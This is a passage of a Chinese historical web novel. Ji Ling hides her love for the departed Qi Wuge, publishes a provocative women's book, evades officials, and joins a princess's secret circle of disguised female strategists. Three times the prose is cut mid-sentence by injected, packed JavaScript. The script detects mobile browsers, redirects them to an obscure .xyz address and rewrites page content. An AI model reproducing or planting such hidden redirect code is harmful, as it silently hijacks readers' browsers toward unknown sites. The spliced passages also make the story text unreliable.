季泠只记得齐无戈告诉了她和钟荡云这个消息后,她最后问了齐无戈这样一句话:“什么时候能回来? ” 齐无戈的声音似乎也因为时间而磨损了:“也许半年,也许三年。我无力决定,只能等朝廷指令。” 她点点头,拿出了一个准备好的匣子递给齐无戈:“及冠礼物。” 从前齐无戈送了她许多礼物,来而不往非礼也,她多少也该有所表示。 齐无戈打开匣子,里头是一条落花纹汗巾,尾处题了一句诗:“于道各努力,千里自同风。” 23. 梧桐书局 自从齐威奉调援助闽浙后,就在闽浙沿海长期驻扎下来,原职辖下的山东多个卫所屯田荒废,年久失修,军户逃亡,纪律松散。 齐无戈到达威海卫后,整饬营伍,恩威并施,同时修书上官,请求另招新兵,组建新军,专门训练,得到了上级许可。 不过半年时间,齐无戈就带着训练有素的新军迎战初春侵袭登州的倭寇,首战告捷,在军中树立了威信。 齐无戈乘胜追击,借此机会上呈了《威海抗倭练兵法》,想要扩大新军。 山东总督看过后十分赞赏他的才能,称赞抚远侯虎父无犬子,特意拨了三千精兵由他训练,由他施展身手。 在齐无戈赴任后几日,齐威也在朝廷旨意要求下重返闽浙,加固海防。 齐府骤然少了两人,一下子就冷清下来,无论是族学之中,还是三处院子里,似乎都变得安静了,融雪的声音都格外明显。 东厢房内,季泠坐在她的小书斋中,不停地写着什么,纸张已然叠了好几摞。 “啪嗒”一声,季泠被这突如其来的声音惊得松了手,笔在纸上划了一道。 她看着黑痕将前头写的字都给盖住了,盯着看了半晌,心里没来由得烦躁。索性扔下笔,走到外头去,看看刚才那是什么动静。 园子里,林微不知道在做什么,季泠踩着雪,她觉得这样清脆的声音很舒心。 “姑娘,您怎么出来了?” “我听见了一声响,来看看是什么动静。” “是树上的一大块儿积雪掉在秋千上和地上了。” 季泠看见朱红的秋千被白雪覆盖,又想起去年的春夏之时,她和钟荡云坐在秋千上,连听见蝉鸣、看见飞鸟,都会乐得大笑,齐无戈就坐在石凳上,看着她们俩在空中荡来荡去,像是要去捉无意之中闯入这个没有花草的园子中的蝴蝶。 齐无戈... 齐无戈竟然已经走了半年了。 从前齐无戈和钟荡云都是她很好的玩伴,三个人总能玩到一块儿,笑到一块儿,光是看蚂蚁运食,三人都能瞪着看老久。 可是似乎齐无戈走后,又到了秋冬,齐府里的一切就没那么有趣了,连钟荡云都无精打采起来。 在齐无戈走了一个月之后,季泠才真觉得他是彻底地离开了,她不自觉地在看到任何东西时,都想起她和齐无戈一起玩乐的细节,以及齐无戈的五官。 她从未仔细打量过齐无戈的眼睛、鼻子、嘴巴,但不知道为什么,她脑中自动就为齐无戈画了一幅相,就好像这些本就长在她脑中,甚至比之前亲眼看见的齐无戈还要清晰几分。 季泠终于意识到不对劲。 “林微,我怕是要犯错了。” 林微忧心地看着季泠,她也注意到了,齐无戈走后,季泠的魂不守舍。 虽然在族学里、练武场中、梧桐书局里,还有和钟荡云与齐二、齐三聊天时,季泠看起来都毫无异样。可是每当季泠回到东厢房,手头闲下来时,她坐在书斋里,就盯着那盏早就不亮的走马灯看,看得那么入神,似乎眼前的剪纸真的随着灯走起来了。 她回到寝屋,无意中瞟见放在条案上的黑稠团扇,又开始沉思,好像团扇里头藏了什么谜语,让她解了半年还未解开。 最终,在年后的第一声春雷里,季泠终于想清楚了。 “我好像喜欢上齐无戈了...” 她抱着腿坐在榻上,觉得天都要塌了。 原来情窦初开时这样的滋味,是寝食难安、味同嚼蜡的滋味。 那么齐无戈呢? 他对自己是什么意思? 是将她当作和钟荡云一样的妹妹照顾,还是说,也和她一样? 季泠生平难得觉得自己愚昧,过往不论什么难题,从没有困扰她这么久。 “姑娘,这确实是错路。” 林微不得不点醒她,季泠又何尝不知道,现在的她,配不上齐家世子。 可是她还是想要一个答案,也许齐无戈也和她一样,在过往的烟花中没能看清背后的灯火。等烟花转瞬而逝后,烟尘都已经随着时间而沉淀,也能像她一样,看清背后的微弱不衰的明亮呢? 钟荡云很快给她带来了答案,却让季泠意识到烟花易冷,灯火也易灭。 “大哥临走前跟我说,若是收到他大胜倭寇的消息,就让我来告诉你,他心里有你。” 季泠僵住,这是什么意思? 齐无戈早早地就明白他自己的心意,却直到离开,也不曾表露。 若说他想永远藏在心中,不愿耽误自己,又为什么要以战胜为契机,借钟荡云的嘴来告诉她? 季泠呵笑一声,得知这个她期盼已久的答案,竟然是以这样的方式,未免也太过荒谬了一些:“他为什么不自己开口说?” 钟荡云比季泠更激动,从绣墩上跳了起来,回忆着那天的对话:“我也不知道,我很生气,我就这样问他,’为什么不直接说出口呢!不说出来谁能猜到你的心思呢?’” “我也不知道...我突然有些不敢亲近她,我以为自己应该很勇敢,到头来却反而退缩...”齐无戈喃喃,钟荡云恨铁不成钢地看着他。 “所以,他不说,他甚至不敢亲自来见一见我。齐无戈这个战场上英勇无畏的将军,在感情里是个懦夫。” 季泠看着钟荡云,十分失望。 “泠儿,那你怎么办?你要多走一步吗?你要去告诉他,你也喜欢他吗?” 季泠心里都是苦涩,一点点往外涌,侵食着周边的血液。 可是她不能表现出来,只是佯装冷淡:“不,既然如此,从今以后,我就不再和他有任何瓜葛。” 季泠不愿意主动一步,这该是齐无戈先走向她才对,连这一步都要她来先走,那往后,她就永远都要走向他了。 她不愿意做这样的事情。 “好。无论如何,我站在你这儿。你这样好的姑娘,我大哥这傻子没福气。” 钟荡云不懂怎么安慰季泠,她有些内疚,是她将齐无戈和季泠的关系拉得太近,现在反倒让她的好友受伤了。 “无事,荡云。我们不是非要困在感情里不可的女子。宇宙不限于宅院之内。天下之大,我们自有诸多事情要去做,我也无暇在此分心。” 季泠用这话宽慰钟荡云,也在告诫自己。 儿女情长终归是两个人的事情,她一个人如何努力也是枉然。不如将心思全部交付给她未竟之志,总不至于亏待她的夙夜匪解。 况且,她和古良学社成员商议好的事情,也该开始施行了。 季泠坐在梧桐书局后的小屋中,翻看着刚刚印出的新书,像是爱抚着自己新生的婴孩般,摩挲着书衣上的书签。 “甚好甚好,明日起,我们就可以将此书宣扬出去,让京城上下看看,咱们女子的能耐。” 季泠已经有些迫不及待了,筹备了半年,她们终于要迈出第一步,借京城各处书局的人流,向天下昭示她们的野心。 集体之中,意见相左实在是再正常不过的事情,季泠的执拗让部分本就保守的人有些担忧:“是否矫枉过正了?”一个姑娘忧心忡忡。 她怕掀起的波澜太大,最后反将她们自己给淹没了。 季泠眼神坚定,毫无退缩之意:“只有狠狠地,用一记惊雷,唤醒所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446285|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉睡的山庄,才能够让众人睁开眼睛看看,我们究竟要什么样的世界,哪怕吵醒了一些早该安歇的人。轻飘飘的一颗石子,落入水中,惊动水里的鱼儿和岸边的路人,这有什么用呢?我要拉动一根长满花的树枝,让它左右拼命地颤晃,将花全部落下,让所有人知道今天这花开了,开得十分盛大,之后它逐渐停歇,归回原位的平静,那也并不可惜,因为它已经将希望全部送了出去。” 一鸣从此始,相看青云端。 在季泠的强力推动和几个姑娘的支持下,她们十几人耗时半年写成的一本书在第二日就问世于京城大小书局之中。 在季泠等人坐在梧桐书局后屋中,焦灼等待着京城之中的反响时,应明、林清许和徐行正巧着走进了前头的书局,一进门就看见摆在最显眼位置上的新书。 应明拉住要走的徐行和林清许,好奇地看着这本书:“《女界》?这书印错字了吧?不是《女戒》吗?” 林清许也好奇地凑过来:“是欸,居然还摆在这么显眼的位置,生怕别人看不见似的。” 徐行站在一旁,看着两人在这种小事上浪费时间,不得不出言制止:“别见什么都新奇,要买什么快些,我一会儿还有正事。” “徐润旻你总是这般无趣,尽扫兴。” 应明将书放下,大嚷着跟上徐行。林清许翻开看了两眼,发现里头的东西竟然比书名更招人注意,随即便默不作声地买下一本,塞进袖中。 不出一月,这本书的内容就已经在京城中飞传,甚至连巷中跳花绳的孩童也会念上两句: “朱颜亦堪为良臣,绯袍加身报君恩。” “寒士斫才暖闾巷,朱门纵权蔽旭辉。” …… 徐行看着林清许递过来的书,手上翻阅的速度不由得加快:“你这什么时候买的?” “一个月前,我们当时去那个书局的时候。买回去后我就忘记了这回事,昨日在衙门中听见他们议论,才意识到不对劲,立刻找出来,这一看可真是把人吓一跳。” “都察院内已经传开了?” “莫说都察院,街头巷尾哪里没人说道几句的?今日他们听到风声,还想去买一本来一探究竟,没想到所有书局都售空了,现下已经有人开始盗印谋利了。” 徐行感觉到事情不简单,这样畅通无阻地四处流传,还都是一些不合纲常、大逆不道之言,朝中竟然也没有动静吗? “那些人你又不是不知道,惯是看轻民间时兴的东西,刚开始他们也以为不过是平头百姓无聊之言,不成气候。谁想到没几日的功夫,就这样流言汹涌。” 徐行一目十行地看到了最后,合上了书:“很快他们就要有动作了。” “他们?是谁?” 徐行翻到那一页,指给林清许看:“自然是这书中不善约束子侄,任其纵权祸乱乡野的朱门。” 林清许却是不明白:“这朱门竟是意有所指?我还以为是一竿子打死呢。” 徐行提示他:“前段时间有人说,有一位阁臣之子逼死了吉安府的府同知,欺男霸女,鱼肉百姓。” 林清许领会了他的暗示,只能摇摇头收起书:“看遍了经史子集,再看看这样猖狂的文字,也是别有滋味。可惜啊,写这本书的豪杰若是落入他手,可是难以脱身了。” “不仅是写这本书的人,若是要有心之人发现你这位监察御史私藏了这样的书,你说说后果如何?” 林清许一惊,只好接过徐行递来的蜡烛,看着《女界》二字逐渐被烛火卷食成灰。 他转头看着徐行的侧脸,在火魔咀嚼其中书中精华时,似乎也听到一声微不可察的叹息。 24. 意外离府 东厢房内,季泠看着手中的信慢慢燃烧殆尽,站起身来,缓缓吐一口气。 “走吧林微,今日我们去听书。” 季泠和林微戴上帷帽,习惯性地从齐府后门出去,又无声无息地混入众多宾客之中,走进了闻声楼。 她和林微走上二楼,就看见古良学社的几个姑娘已经定好了桌子,倒是一个好视野,可以看清一楼正中间的说书人和从两侧进来的所有宾客。 “怎么还带着帷帽?已经进来了,不必担心。我们已经提前踩过点,今日很太平。” 季泠还是没有摘下,只是略微撩开一角,看清了四周。 她如今住在齐府,齐家人毕竟是京城赫赫有名的大人物,她若是露出脸来,被齐家进进出出的人看见了,难免会给她们招惹不必要的祸事。 “泠儿。” 一人搭上了她的肩膀,顺势坐到她的右边,是苏缘桢,她也戴着帷帽前来。 “我母亲看得紧,差点就没能出来。” 她还有些喘气,应该是跑着来的。在她喘气的间隙,季泠看向她,却看见楼下进来了一些并非看客的人。 季泠示意让林微和苏缘桢看去,没料到领头之人的眼睛立刻对上了她们。 苏缘桢立刻转头,紧张起来:“快走!那是通政司的人。” 话音刚落,只听到数张长凳被推开的声音,姑娘们全部散入四处,前面热闹非凡的圆桌一瞬间就没了人。 季泠拉着林微穿梭在人流之中,还要不时兼顾回头看看其他姑娘是否安全,通政司的人是否已经追了上来。 今日来听书的人实在太多,季泠和林微戴着帷帽,就算借了杂乱的人流躲藏,也实在太过明显。 林微看追来的人明显就是冲着她们两人而来,立刻松开季泠的手:“姑娘,我们太显眼了,必须分开。” 季泠在前面还来不及回应,就已经看不见林微的踪迹。 不待她着急,就听见后头有人大喊:“在那儿!抓住她!” 季泠再也无暇顾及其他,连先头的抱歉也不再挂在嘴上,只一味地推开挤她的人,莽着头向前冲,理智却已经被人流全部挤碎,她也不知道自己该向哪里去。 就在这时,不知道哪里伸出来一只手,将她的帷帽摘下,她慌张地捂住头,就被另一只手拉到一个角落,她不得不弓着身子,否则无法从中间劈开前后涌来的看客。 失去了帷帽和高个子的显眼,季泠就顺理成章地混入大众之中,通政司的人一下子也无法聚焦到她身上。 季泠这才有余力回头,发现拉着她的人竟然是一位她再熟悉不过的人了。 “咨宁!怎么是你…” 季泠话还未说完,何咨宁立刻使眼色示意她噤声,拉起她小跑到一处门前,推门闪身进入屋内。 季泠想要问她什么,可是何咨宁只是站在门前,仔细观察外面的动静。 今日人流太大,通政司也无权直接封锁闻声楼,挨个人看了一圈后,倒也没有进包间之内,就收兵走人了。 说书人已经开场,屋外嘈杂声逐渐平息,只剩下说书人绘声绘色的演艺。 季泠站在桌边盯着何咨宁,她终于转过身,向她走来。 何咨宁也不欲坐下,知道季泠心中的疑惑,直接一吐为快:“泠儿,我当下在京城一处高门做事,你可愿加入其中?” 季泠还没来得及和她叙旧,也无法控制自如、立刻从刚刚惊心动魄的追捕中立刻平静下来。她只感觉脑袋在往下沉,心却在往上跳,两处她最要紧的地方快要撞在一块儿,让她有些分不清东南西北。 “啊?”她只愣愣地憋出这个词。 何咨宁却不由她反应,直接将她过去两年做过的事情大致简略地说了一通。 “公主府。我现下在公主府。华荣公主,当今天子的长女,在公主府内培育了一批幕僚谋士,你可愿加入,为公主效命?” 何咨宁眼神坚定,就如她在幼时问季泠,要不要一同去建州,哪怕只有她们两人,哪怕那时候她们俩只有十二岁,哪怕是去一个不知深浅的地方。但只要彼此相伴,只要有益于她们共同的志向,前方险阻又有何可惧? 季泠拉着何咨宁的手,在她点了头的下一瞬,何咨宁拉着她跑出了沉闷的屋子,跑出人声鼎沸的闻声楼,跑过万马齐喑的京城长街,最后跑向公主府内琼楼玉宇。 季泠站在殿外,抬头看向那块泛着金光的匾额。 “礼贤殿。” 季泠的眼神将上面的每一笔划都仔细抚摸,似乎在憧憬她日后站在殿前看的日日夜夜、四季流转、风雪更迭、朝代轮换。 随着一声宣召,公主端坐在高位上,看着季泠紧跟引导侍女和何咨宁走近。 她自小在宫中长大,见了各式各样的高门贵女,后又在父皇安排下随军,自然更是阅人无数。看到季泠一眼,便自有定夺,心下了然。 季泠头一次拜见如此权势滔天之人,心中无不惊忧的,低眉顺眼地走进屋内,担心自己一身市井之气,过于张扬俗气,惹得公主不快。 但自小便不卑不亢,胆大跳脱的人,一时间还是难以改变的。她垂首拱手行礼以表恭敬,但脊背挺直,倒是未被公主这通身的气派压倒一厘。 “抬起头来。”她行礼站定后,长公主出声。 她随即抬头,冷不丁地长公主对视一眼。 公主谢仪生的英气,若是不笑,这幅高贵的天家气度也是震慑不少人。 她看向季泠,穿着靛青窄袖上袄和玄色银杏暗纹综裙,梳了个利落的高髻,吐出来的每一口气盛满了这小女子的激动与野心。 “今日召你前来的缘由,想必咨宁已经告诉过你了。本宫向来是疑人不用,你的过往,本宫已经派人探听了解清楚。” 公主缓缓开口,声音像是从深潭之中传出,沉稳又晦暗。 “是,今日民女前来拜见殿下,一是表心投诚,二是深谢殿下恩情。”季泠跪下行了大礼。 她如何痴傻愚钝,见到公主早有准备的样子,还能不领会明白吗?今日何咨宁的出现,是公主早有准备,就等着借何咨宁这个朋友的救命之恩,将她引进公主府内。 怕是她们学社的动静、《女界》的发行、通政司的突袭,都在公主的掌握之中。 “你先起来,赐座。”长公主示意侍女,侍女走向季泠,双手扶起她,并指引入座。 “若是入我麾下,今日便要提前将规矩与你交代好了。本宫走的是一条没有先人之鉴的险路,成了,这份福报有生之年也未必享得到,败了,那自然生死是小,前朝之功,你过往之力,最后都怕是烟消云散。”长公主继续说。 她的谋士女官,每一个都必须是公主府坚不可摧的明珠。权力,身份,财宝,都难以保证她的大业必成,这些人才是她不可松动的砥柱。 “民女明白。虽说天下熙熙皆为利来,但今日民女既已走到殿下身边,便是愿为我们共同之志而倾尽所有。” “如今像你这般,不加谄媚、有话直说的人,可不多了。”长公主笑了笑。 她身边都是察言观色、世故圆滑的人,说出来的话总是思量又思量,恨不得将赤胆忠心剖出来给她看。 季泠这样真诚又直率,甚至带了几分不顾身份体统的傻气,倒是让她另眼相看。 “但你也该明白,若成大事,计较应在心中。”长公主意味深长地看着季泠,站了起来,走到她面前,季泠立即起身。 “本宫很高兴,今日我们毫无试探地会面。只是,今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446286|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的变故,本宫不希望你重蹈覆辙。有勇有谋是好,但谨慎择处才保长远。现在起,你要摈弃你的过往,无论是宁川还是建州,季泠的曾经都与你毫无干系。你的新身份是季执庸。跟随越兼去吧,她会将你安排妥当。” 季泠来不及反应,怎么她就多了新的身份? 只是面对公主的安排,她不能拒绝。抬头看了看公主,又看了看公主身后的越兼,既来之则安之吧,她劝慰自己。 “是。” 季泠留下了一封书信后,就消失了几日。 钟荡云急得团团转,但季泠在信中写了,是有要事才离府几日,让她不要担心。 钟荡云只能在院子里日盼夜盼,就等着季泠回来。 近十日后,季泠才回了齐府。 钟荡云一见,立刻跳起来:“泠儿!你可算回来了,你这是去哪儿了?还有,你的衣裳怎么也换了,没见过你这件衣裳...” 季泠抓住她的双手,拉着她在院子中的石凳上坐下,踌躇片刻后才开口:“荡云,我,我要走了。” 钟荡云一愣,她没想到过季泠会突然说这个,结结巴巴地问:“走?你要去哪儿?可是,可是你在京城除了齐家,你还能去哪儿?你要回建州吗?” 季泠摇摇头,知道这件事对钟荡云而言肯定是不小的冲击,但是真相她也不能随意说出,只能想了一个合理的说辞:“学社里的一个朋友替我引荐了一位大人,要我为她做事。” 钟荡云没想过会是这样:“可是,你是女子啊。你怎么跟那些男人混在一起呢?” 想了想后觉得这话不对,又改了口:“我不是那个意思。只是,泠儿,在京城这一年你也看见了,我们要想打破规矩,不是那么容易的事情...你以女子之身入场,注定没办法和男人一样平起平坐。而且,你会吃亏的。” 钟荡云很担忧,她自己是齐府的小姐,自然无所谓,有人说她,她直接打骂回去就是了。可是季泠不同,她无依无靠,在齐家虽然有自己陪着,可终归也算是寄人篱下的,她不能太任性了。 这一年多来,季泠从来没有给齐府找过任何麻烦,甚至除了她的院子、族学和马场武场,她都没有在齐府走到其他地方去,就怕给钟荡云添不必要的乱子。 季泠知道钟荡云是为她考虑,拍了拍她的手背,将自己的情况大概说了一下:“你放心,那里不少女子的。而且,我们全部都换成男子装扮,就为了避免节外生枝。那位大人很好,府里的其他大人也待我们很好。” 钟荡云还是有些不放心:“究竟是什么大人?你说说,京城里多少我们也能打点一二。还有,这样的话,日后我要去哪里找你呢?我是不是再也不能和你一起跑马射箭了...” 钟荡云整个人都蔫下来了,她和季泠真是一对完美的玩伴,其他官家女子都不乐意同她一起疯闹撒欢,只有季泠能陪着她。 季泠有些犹豫,她不知道怎么说。 钟荡云虽然大大咧咧,但也不是全无心眼的人,也看出来了,将季泠搂住:“没事,泠儿,无论是不想说还是不能说,既然你不说,我就不问。” 季泠很感动,钟荡云真是一个一片赤诚的女孩儿,为她带来了太多欢乐和机会,她此生无以为报了。 她拍了拍钟荡云的后背,轻声说:“如果有事,你写信到轩墨阁。我常去那里,掌柜的与我相熟。” 钟荡云点了点头。她知道,季泠和她其实不是一路人,她们终究会有岔路分别的一日。只是没想到,季泠这么快就找到了自己的正途。 如今,大哥走了,季泠也走了,齐府更是空旷下来了。那么她呢? 钟荡云不得不为自己的将来思量,她若是离开了齐府,又能去哪儿,又能凭自己的力量做些什么? 25. 东西三所(上) 走进了东厢房,季泠坐在窗边,最后再看了看这个生活了一年半的地方。 林微走进来,看见季泠,惊喊出声:“姑娘!您回来了!” 季泠转头,那日她们分别得太匆忙,她都不知道林微是否平安,现下看见她毫发无伤,才终于是放心了。 林微走到她身边,看见她在收拾行囊,慌张起来:“姑娘,您要走了?” 季泠手顿了一下,继续将她的东西放进箱笼中:“嗯。” 她刚来京城的时候,只有一个简单的背囊和一把何咨宁给的筝,只不过一年半而已,她竟然多出了这么多东西... 竟然一个箱笼都装不下了,可是无论是齐夫人为她做的衣裳,还是钟荡云为她添置的摆件,或是她自己购置的书籍,还是齐无戈送给她的礼物,她一个都舍不得留下,她想全部带走。 可是美好的回忆终究要留在过往的,她只有轻装上阵,才能畅通无阻。 她盯着箱笼之中的物什,手伸进去拿起一件东西,又不舍地放下,她该抛弃什么呢? “姑娘,您要到哪里去?您还回来吗?” 季泠知道林微对她的不舍不比钟荡云少,而且她还将林微带进了书社,某种意义上而言,她们已然是同船之人了。 想到这里,她才模糊地留下些希望:“放心,我还在京城,只是,日后估计不会再回到齐府了。” 她不能将公主府和齐府扯上瓜葛,这样她既对不起齐府的悉心照料,也对不起公主的知遇之恩。 她只能冷漠地斩断过往,为彼此留出太平。 “在京城就好...这样,奴婢还能有机会再与您相见...” 林微抹了泪,开始帮季泠收拾东西,东西越放进去,林微就的泪就越流越多。 她该怎么适应,她的太阳照耀了不到两年,就又永远离去呢? 季泠拉住她的手,想了一想,还是给这个苦命的姑娘留一些念想吧。 “林微,别这样,我们并非此生不再相见。我要简装离开,不得不将一些东西暂时留下。你能否替我保管?待到我们再相见的时候,你再给我。” 林微点点头,将季泠说的东西又一件件拿出来,小心翼翼,细心呵护。 季泠走出东厢房,林微看向季泠留在书房的那盏走马灯,犹豫片刻还是问了她:“姑娘,那盏灯,您也不带走吗?” 季泠看了一眼,立刻收回心思,摇了摇头:“不了,美好的东西,就留在过去吧。” 之后她的日子再也不可能无忧无虑,灯熄马步停。走马灯跟着她,只会磨灭最后一缕精致的纯真。 但她还是带走了那把黑稠团扇,她实在是很喜欢上面绣的茉莉花,也很喜欢当时的杭州府。 “总归是个实用的物件。” 她回到公主府的住所后,将那把团扇摆在屋内的条案上,边上还放了一个从未启用的黄铜香炉。 越兼是公主身边最得力的女官,府中众人都尊称她一声“越长史”。公主将她交给越兼,季泠也猜到了公主对她的看重。 可是她究竟有什么值得这样一位大人物的青眼相待呢? 季泠惴惴不安。 越兼带着她穿过三大殿、宫门、家庙,到了东三所。 “公主府内所有的女谋士,起居学习一应都在东三所。为了保护你们的身份,所有人的着装都要统一,不可以完全的真面目示人。” 越兼走进一处院落,其中是成排的屋子:“你们暂时无能为殿下出谋划策,还需要时日学习积淀。自然了,你日后在东三所学的,便不只是经史子集,诗词歌赋,更是权术心计,天下大势。” 季泠难抑雀跃,跟在越兼身后都不复谨慎,走起路已然下意识地垫着脚尖,像是要越过屋顶,看到东三所外面去。 “你的好友,何咨宁,她便不住在此处。” “那她住在哪儿?” “她住在前一处的二院里,住在那里面的姑娘,已经开始为公主进出办事,不再将所有时间花在学习之上,已经躬行于实了。” 季泠抬头张望,却无法看见另一处院子。 何咨宁来了京城快三年,进入了二院,那么她季泠也可以。不出三年,她就能走到何咨宁身边,携手共同为公主鞍前马后,出谋划策。 越兼向她大致介绍了三院,又告知她明日该去何处与她同院之人会面,之后就回公主身边去了。 季泠走进了越兼给她分配的屋子中。屋子虽然没有她在齐府中的东厢房大,但衣裳茶盏一应俱全,公主对待手下之人还是十分细致大方的。 季泠来得突然,越兼走后,她就孤身一人在这小屋之内了。 季泠百无聊赖地甩手,里外粗略走了一圈,就坐在堂中的八仙桌边,呆呆地看向屋外,将腿抻直后,拖着腮发呆。 今日的一切发生的太快了,早上她还在齐府,下午还在闻声楼,晚上就到了公主府内,甚至她什么都没带来,并未三思,就点头入了公主麾下。 院子中的每间小屋都亮着烛火,只是门窗紧闭着,时不时有人影透出来,夹在着水声、走路声、翻书声、杯盏声。 她感觉这些声音离自己有些远,声音的主人都在各自忙碌着自己的事务,没有人走出来说话打闹,她们各自也不弹琴唱词,甚至连自言自语都没有。 季泠比任何时刻都要思念曾经的好友,思念着齐府的钟荡云、齐无戈、林微,甚至是齐无咎和齐无秽。 她思念书社的苏缘桢,还有其他几个不知道真名的姑娘,她记得其中有一个姑娘,大家都唤她阳二,弹了一手的好琵琶,细柔的声音唱起曲子来十分勾人。 她刚入学社不适应时,阳二是最体贴的,每当大家说完一句话,她就会转头看向自己,给她一个在众人之间发声的机会。 那么何咨宁呢?她当初来到公主府,比现在的她还要小三岁,是一个不谙世事的年纪,还没领会过人心的美好,就要在一群不熟悉的人中挣扎生存,去学习算计利用。她那时候也如自己现在这样迷茫吗? 真自当之,无有代之。也许进入了公主府,季泠学会的第一计,就是不再侧目看向身边之人、寻找和她同频共振的人,而只是端着烛台,抬头看向只属于她一人的康庄大道。 季泠第二日天尚未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楼饮晴伸出来想要摸季泠的脸,何咨宁立刻拍下:“饮晴,别动手动脚的,会吓着她。” 楼饮晴却更加放肆地用眼神打量着季泠:“吓到她?我看这丫头胆子不小,不像是会被吓到的样子啊。” 何咨宁不欲与她废话,向她介绍了剩下两人后,就将季泠托付给楼饮晴:“我还有要务在身,没法顾及执庸了。之后你多带着她点,好让她快些熟悉起来。” 楼饮晴对何咨宁眨眨眼:“放心吧,不辱使命。” 等何咨宁一走,先前进来的楼饮晴、紫菀和乌柏三人却转头就坐到自己的书案前,不再搭理季泠。 季泠遭遇了这突然的冷待,有些不知所措。 随后又进来了好几人,瞧着她眼生,走过她时都不由地多瞧了几眼。季泠觉得浑身不自在,却又不知道该怎么做才对,她一向不擅长应对人际关系。 楼饮晴过了半晌才想起她来,将她带到最后一处书案边:“只剩下这个位子了,你先坐下。若是有不懂的,再来问我。”说完,又袅袅而去。 26. 东西三所(下) 报着既来之则安之的想法,季泠努力收敛着自己的性子,开始有意无意地学习着何咨宁的寡言沉稳,收敛锋芒。 与在建州书院和齐府族学中不同,在公主府的半年中,她似乎没什么存在感。 每月的文试武考虽然也算是名列前茅,但是她也不多加夸耀。也不再试图去找东三所的姑娘们搭话,只是专注着自身修炼体悟。 不过总归住在同一个院中,她还是和几个姑娘熟络起来,最聊得来的还是当日她最先见到的三位。 楼饮晴便不必说了,她看上去风情妩媚,东西三所之中,不少人议论她,可她依旧我行我素。 季泠觉得像她这样能够不顾他人评说而妄断自己是非,实在是一种本事,她十分羡慕楼饮晴的豁达。 只是楼饮晴似乎和所有人都保持着一定的距离,也不常在院中呆着,季泠想与她再多些交流,也是困难。 另外两个姑娘,紫菀和乌柏,都是慢吞的性子,季泠的屋子恰巧在她们两人之间,三人也就常常一同坐在院中聊天,也是这样一来二去的交谈,才发现三人的脾气其实挺相投。 东三所的训练中,除了文武兼修之外,还有个人特训。每个姑娘根据自己的专长,六日常课之后进行两日特训。 其他姑娘都能找到自己天生所长,只有季泠,半年之内将东三所各类奇淫技巧、旁门左道都试了一次,愣是没找到自己的专长。 她挫败地看着紫菀和乌柏,神色怏怏:“你们当初都是如何找到自己所长的?我竟然是个如此平庸之人吗?怎么不得老天爷的垂爱呢?” 紫菀将她进入公主府的来历透露出来:“并非一定是天生,需要自己好好琢磨才行。不过大部分人都是早已确定自己的喜好,在其中深耕,最后才有所小得。我父亲是跟随公主多年的大夫,我自小耳濡目染,自然在医药之道上颇有研究。” 乌柏也点了点头附和:“我也是如此。我在西南长大,幼时山间长着各类毒草,我们乡中之人多多少少都会分辨,我不知道是得了什么神仙的恩赐,对这些东西的味道很灵敏。这才入了公主府,得了机会,跟随毒师研究此道。” 芜华正巧路过,也凑了进来:“我也是如此。我父亲是画师,我自小就被逼着学画。但我实在提不起兴趣,但没成想这样的技能却迁移到易容上了,实在是意外之喜。执庸你别灰心,我们都是练了十几年的童子功,你好好想一想,自己究竟是擅长什么?” 季泠看着在各自领域独树一帜的三个姑娘,眼中闪着炽热的羡慕:“我自小就老老实实地读书写字,要不就是替我母亲编渔线、织渔网,或是跟着我父亲出海、上市集。若真说有点什么能耐,我倒是特别擅长《九章算术》。”季泠尴尬地挠挠头。 季泠记得父母说过,她在周岁抓周之时,左手抓了个钱袋子,右手抓了把算盘,她父亲认定了季泠是上天送给季家的女状元,在她刚启蒙之时,就去四处搜罗来一本《九章算术》,逼着季泠学会那些七弯八绕的东西。 三人面面相觑,只能安慰她再多尝试一些。 季泠就这样跟着几人东学一些,西看一些,一年下来倒是也学了几分皮毛功夫。 只是季泠才熟悉了这样的环境,她就发现,何咨宁不见了。 她如往常一般走到何咨宁的屋中时,屋内已经住了其她姑娘。她连忙跑去找越兼,越兼只说,何咨宁去执行公主下派的公务,叫她不要多问。 她这才想起来,何咨宁在清明之前,来到她的屋内,和她说了一晚上的话,竟然全是告别。 她看着当年送给季泠的那把筝,问季泠,她不在的这三年,季泠是否有去精进琴艺。 季泠坐下弹了一曲,何咨宁赞赏地点了点头。 还不是因为在齐府的时候,齐二要求齐母去找一个乐师,他自己学就罢了,结果连带了另外四人,偏偏他们四人对琴箫乐曲压根没有兴趣。但是齐二难得提出一个要求,众人也只能舍命陪君子了。 “泠儿,你要记住,公主府不比外头,公主是没有心思管下面人的私事,只看是否能够谋成大事,为其效力。我们都不是孩子了,不能只逞一时之快,必要之时要学会退让。要记住,挫其锐,解其纷,和其光,同其尘。” 季泠点了点头。“挫其锐,解其纷,和其光,同其尘”,这句话,何咨宁曾跟她说过多次。 